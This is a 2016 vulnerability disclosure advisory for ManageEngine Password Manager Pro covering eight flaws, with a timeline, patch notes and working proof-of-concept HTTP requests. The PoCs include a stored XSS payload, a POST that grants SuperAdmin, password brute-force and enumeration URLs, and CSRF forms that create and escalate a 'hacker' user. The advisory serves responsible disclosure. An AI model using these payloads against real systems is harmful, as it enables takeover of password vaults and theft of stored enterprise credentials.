[Systems Affected]
   Product : ManageEngine Password Manager Pro
   Company : ZOHO Corp.
   Build Number : 8.1 to 8.3 and probably earlier versions
   Affected Versions : 8102 to 8302 and probably earlier versions


[Product Description]
   Password Manager Pro is a secure vault for storing and managing
shared sensitive information such as passwords, documents and digital
identities of enterprises.


[Vulnerabilities]
   Multiple vulnerabilities were identified within this application:
   1- Stored XSS in /AddMail.ve
   2- Privilege escalation in /EditUser.do
   3- Business Login Bypass in /EditUser.do
   4- Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp
   5- Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp
   6- Resource's user enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp
   7- Password Bruteforce for resources accounts in
/jsp/xmlhttp/AjaxResponse.jsp
   8- Cross-Site Request Forgery


[Advisory Timeline]
   17/07/2015 - Discovery and vendor notification
   17/07/2015 - ManageEngine responsed that they will notify their
development team
   13/10/2015 - ManageEngine informed that they have fixed these issue
   14/10/2015 - Fixed Password Manager Pro build version 8300 has been released
   15/10/2015 - Test on Beta build version 8300 was performed and
confirm the fix of these issues 2, 4, 7 and part of issue 8
   02/11/2015 - ManageEngine ask more time to fix the remaining issues
before making this public
   29/12/2015 - ManageEngine contacted for an update - No reply
   12/01/2016 - ManageEngine contacted for an update - No reply
   08/02/2016 - ManageEngine contacted for an update - small update provided
   12/02/2016 - Last communication from ManageEngine
   04/04/2016 - Public Disclosure


[Patch Available]
   Password Manager Pro Release 8.3 (8300) (Released on October, 2015)
fix issues #2, #4, #7 and partially #8
   Password Manager Pro Release 8.3 (8303) (Released on December 2015)
fix issues #1, #3, #5 and #6


[Exploit]
   There is an exploit available that takes advantage of the Privilege
Escalation vulnerability (Issue #2) and elevates a regular user to
SuperAdmin, and then downloads the passwords and files stored within
the application. The exploit code is available here
   - https://github.com/s3bap3/pmp-exploit


[Description of Vulnerabilities]

(1) Stored XSS in /AddMail.ve.
   This functionality is under the personal accounts stored in the
application. However, as the page is also vulnerable to CSRF, an html
form can be forged to create a personal account an exploit the XSS
vulnerability. The affected parameter is "password", and the POST
message to send is something like this

   [PoC]
      POST /AddMail.ve?SUBREQUEST=XMLHTTP HTTP/1.1

      service=1&serviceurl=1&loginname=1&password=<!--+--+--><script>alert%28'XSS'%29;<%2fscript><!--+--+-->&spassword=&tags=1&Rule=Low&FORWARDURL=MailAccount.cc%3F


(2) Privilege escalation in /EditUser.do that allows to do 2 things.
   a- Hijack user's sessions by changing their emails and accessing
the forgot password functionality.
   The affected parameter is "EMAIL" from the /EditUser.do web page.
Any user (even PASSWORD USER's role) could send a craft POST method
like the one below in order to change the user email address, which is
being used to generate a new user password when the previous one was
forgotten. The only attribute that needs to be changed from one
request to another is the LOGINID, which is a sequence number that
represent the User numeric ID.

   b- Escalate privileges by changing the user account status from
Password user to superadmin.
   By forging a similar request it is possible to raise our own
privileged to become a privileged user. For example, the parameter
"ROLE" can be changed to "Password Auditor" "Password Administrator"
or even "Administrator " and become it. It is also possible to become
a superAdmin by changing the parameter "superAdmin" from false to
true. This will allow us to take control of the application and all
the passwords stored on it. In order to become superAdmin, the user
role needs to be Administrator. Both can be achieved by forging the
same request. In this scenario there are two parameters to be aware
of.
   - USERID and LOGINID is the numeric account id to which the
superadmin attribute will be granted (could be obtained from the login
reply)
   - USER is the username to which the superadmin attribute will be granted

   [PoC]
      POST /EditUser.do?SUBREQUEST=true HTTP/1.1
      Content-Type: multipart/form-data;
boundary=---------------------------20780287114832

      -----------------------------20780287114832
      Content-Disposition: form-data; name="isloginusersa"

      false
      -----------------------------20780287114832
      Content-Disposition: form-data; name="superadminscope"

      true
      -----------------------------20780287114832
      Content-Disposition: form-data; name="SERVERPORT"

      7272
      -----------------------------20780287114832
      Content-Disposition: form-data; name="OLDROLE"

      Administrator
      -----------------------------20780287114832
      Content-Disposition: form-data; name="USERID"

      4
      -----------------------------20780287114832
      Content-Disposition: form-data; name="LOGINID"

      4
      -----------------------------20780287114832
      Content-Disposition: form-data; name="USER"

      username
      -----------------------------20780287114832
      Content-Disposition: form-data; name="OLDLANG"

      en
      -----------------------------20780287114832
      Content-Disposition: form-data; name="EMAIL"

      pwned@user.com
      -----------------------------20780287114832
      Content-Disposition: form-data; name="ROLE"

      Administrator
      -----------------------------20780287114832
      Content-Disposition: form-data; name="superAdmin"

      true
      -----------------------------20780287114832
      Content-Disposition: form-data; name="Rule"

      Strong
      -----------------------------20780287114832
      Content-Disposition: form-data; name="DEPT"


      -----------------------------20780287114832
      Content-Disposition: form-data; name="LOCATION"


      -----------------------------20780287114832
      Content-Disposition: form-data; name="mobileaccess"

      enable
      -----------------------------20780287114832
      Content-Disposition: form-data; name="UserCert"; filename=""
      Content-Type: application/octet-stream


      -----------------------------20780287114832
      Content-Disposition: form-data; name="lang_code"

      en
      -----------------------------20780287114832--


(3) Business Login Bypass in /EditUser.do
   The application allows only the creation of certain amount of
Administrator, based on the licences. However it is possible to create
more administrators. In order to exploit this go to the user
administration page, and edit a user id. Save the edition without
making any modification and intercept that POST message. Modify both
parameters, "OLDROLE" and "ROLE" with the role "Administrator", and
the user role will be changed to this one. Every user can be converted
to an administrator even if the license does not allow that much. The
application only check the amount of administrators when "ROLE" is
Administrator but "OLDROLE" is another one.


(4) Password policy bypass in /jsp/xmlhttp/AjaxResponse.jsp
   Every time a password for a user account or resource's user account
is being changed, a request is sent to this path in order to validate
the password against the password policy. Despite the fact the the
password is being sent in the URL (this means it could be logged in
any proxy or even in the browser), the policy against the password is
being evaluated could by changed by modifying the parameter "Rule"
from the value it currently has to "Low", in order to be evaluated
with a lower policy. For example:

   [PoC]
      https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&ACCID=5
      https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=b&Rule=Low&AccName=a&AccName=5


(5) Horizontal privilege escalation in /jsp/xmlhttp/AjaxResponse.jsp
   When an administrator creates a Password Reset Listener, another
administrator needs to approve it. The same happens when a Listener
needs to be suspended. However this could be bypassed by creating and
approving the listener by the same administrator. This could be
achieved by forging a GET request like the following. The only
parameter that needs to be changed is the "LISTENERID" which is a
sequence number that represents the Listener.

   [PoC]
      Listener Approval
      https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=false&LISTENERTYPE=1&SUBREQUEST=XMLHTTP

      Listener Suspension
      https://192.168.0.3:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=toggleListenerStatus&LISTENERID=4&ISAPPROVED=true&LISTENERTYPE=1&SUBREQUEST=XMLHTTP


(6) Resource's users enumeration in /jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp.
   It is possible to enumerate resource's user accounts by forging a
GET request as follows. This URL allows, if a user has access, to
retrieve the account password. However if a user does not have access,
the error message changes if the user exists or not. The only
parameters that needs to be modified are "Resource" and "Account".

   [PoC]
      https://192.168.56.101:7272/jsp/xmlhttp/PasswdRetriveAjaxResponse.jsp?RequestType=PasswordRetrived&resource=admin+resource&account=admin

      The error messages identifies if the account exists for that resource.
      Account exists: ____ACCESS___DENIED__
      Resource/Account does not exists: FAILURE


(7) Password Bruteforce for resources accounts in /jsp/xmlhttp/AjaxResponse.jsp
   It is possible to enumerate resource's user passwords by forging a
GET request as follows. This URL is used in order to validate a user
password against the password policy specified. By being able to
change the password policy it is possible to use the "Low" policy
which does not allow to reuse the password that is currently setup for
the user. If an error message that the password could not be reused
appears, that indicate that the password is the current password for
that account.
   The only parameters that needs to be modified are "Password" and
"ACCID", and ensure that the password policy "Rule" parameter is set
to low.

   [PoC]
      https://192.168.56.101:7272/jsp/xmlhttp/AjaxResponse.jsp?RequestType=validPassword&password=2&Rule=Low&ACCID=8

      The error messages identifies if the password is correct or not
for every user account.
      Password matches: "Password cannot be same as last 1 passwords"
      Password does not match: "SUCCESS"
      Account ID does not exists: "Error in validating password policy"


(8) Cross-Site Request Forgery
   The application is vulnerable to Cross-Site Request Forgery, which
by sending specific POST messages it is possible create a user in the
system (1), elevate privileges for a user (2)(4), and store a XSS in
the user's personal passwords (3). Below are two PoC

   [PoC]
      User Creation
      <html>
         <body>
            <form method="post"
action="https://192.168.0.3:7272/AddUser.do"
enctype="multipart/form-data">
               <input value="true" name="superadminscope"
type="hidden"><input value="true" type="hidden">
               <input value="true" name="isloginusersa"
type="hidden"><input value="true" type="hidden">
               <input value="hacker" name="fname" type="hidden"><input
value="true" type="hidden">
               <input value="hacker" name="lname" type="hidden"><input
value="true" type="hidden">
               <input value="hacker" name="user" type="hidden"><input
value="true" type="hidden">
               <input value="same" name="rbutton" type="hidden"><input
value="true" type="hidden">
               <input value="Strong" name="Rule" type="hidden"><input
value="true" type="hidden">
               <input value="" name="spassword" type="hidden"><input
value="true" type="hidden">
               <input value="hacker@hacker.com" name="mail"
type="hidden"><input value="true" type="hidden">
               <input value="Password User" name="ROLE"
type="hidden"><input value="true" type="hidden">
               <input value="false" name="superAdmin"
type="hidden"><input value="true" type="hidden">
               <input value="" name="dept" type="hidden"><input
value="true" type="hidden">
               <input value="false" name="location"
type="hidden"><input value="true" type="hidden">
               <input value="enable" name="mobileaccess"
type="hidden"><input value="true" type="hidden">
               <input value="en" name="lang_code" type="hidden"><input
value="true" type="hidden">
               <input type="submit" value="Submit">
            </form>
         </body>
      </html>

      Privilege Escalation
      <html>
         <body>
            <form method="post"
action="https://192.168.0.3:7272/EditUser.do?SUBREQUEST=true"
enctype="multipart/form-data">
               <input value="true" name="isloginusersa"
type="hidden"><input value="true" type="hidden">
               <input value="true" name="superadminscope"
type="hidden"><input value="true" type="hidden">
               <input value="Administrator" name="OLDROLE"
type="hidden"><input value="true" type="hidden">
               <input value="613" name="USERID" type="hidden"><input
value="true" type="hidden">
               <input value="613" name="LOGINID" type="hidden"><input
value="true" type="hidden">
               <input value="hacker" name="USER" type="hidden"><input
value="true" type="hidden">
               <input value="en" name="OLDLANG" type="hidden"><input
value="true" type="hidden">
               <input value="hacker@hacker.com" name="EMAIL"
type="hidden"><input value="true" type="hidden">
               <input value="Administrator" name="ROLE"
type="hidden"><input value="true" type="hidden">
               <input value="true" name="superAdmin"
type="hidden"><input value="true" type="hidden">
               <input value="Strong" name="Rule" type="hidden"><input
value="true" type="hidden">
               <input value="" name="DEPT" type="hidden"><input
value="true" type="hidden">
               <input value="" name="LOCATION" type="hidden"><input
value="true" type="hidden">
               <input value="enable" name="mobileaccess"
type="hidden"><input value="true" type="hidden">
               <input value="en" name="lang_code" type="hidden"><input
value="true" type="hidden">
               <input type="submit" value="Submit">
            </form>
         </body>
      </html>

      Stored XSS
      <html>
         <body>
            <form name="badform" method="post"
action="https://192.168.0.3:7272/AddMail.ve?SUBREQUEST=XMLHTTP"
accept-charset="UTF-8">
               <input type="hidden" name="service" value="1" />
               <input type="hidden" name="serviceurl" value="1" />
               <input type="hidden" name="loginname" value="1" />
               <input type="hidden" name="password" value="<!-- --
--><script>alert('XSS');</script><!-- -- -->" />
               <input type="hidden" name="spassword" value="" />
               <input type="hidden" name="tags" value="" />
               <input type="hidden" name="Rule" value="Low" />
               <input type="submit" value="Submit">
            </form>
         </body>
      </html>

      Privilege Escalation
      <html>
         <body>
            <form name="badform" method="post"
action="https://192.168.0.3:7272/ChangeRoles.ve?SUBREQUEST=XMLHTTP"
accept-charset="UTF-8">
               <input type="hidden" name="SKIP_PREF" value="true" />
               <input type="hidden" name="Admin" value="hacker" />
               <input type="hidden" name="FORWARDURL"
value="UserTabView.cc%3F" />
               <input type="submit" value="Submit">
            </form>
         </body>
      </html>

--
S3ba
@s3bap3
http://linkedin.com/in/s3bap3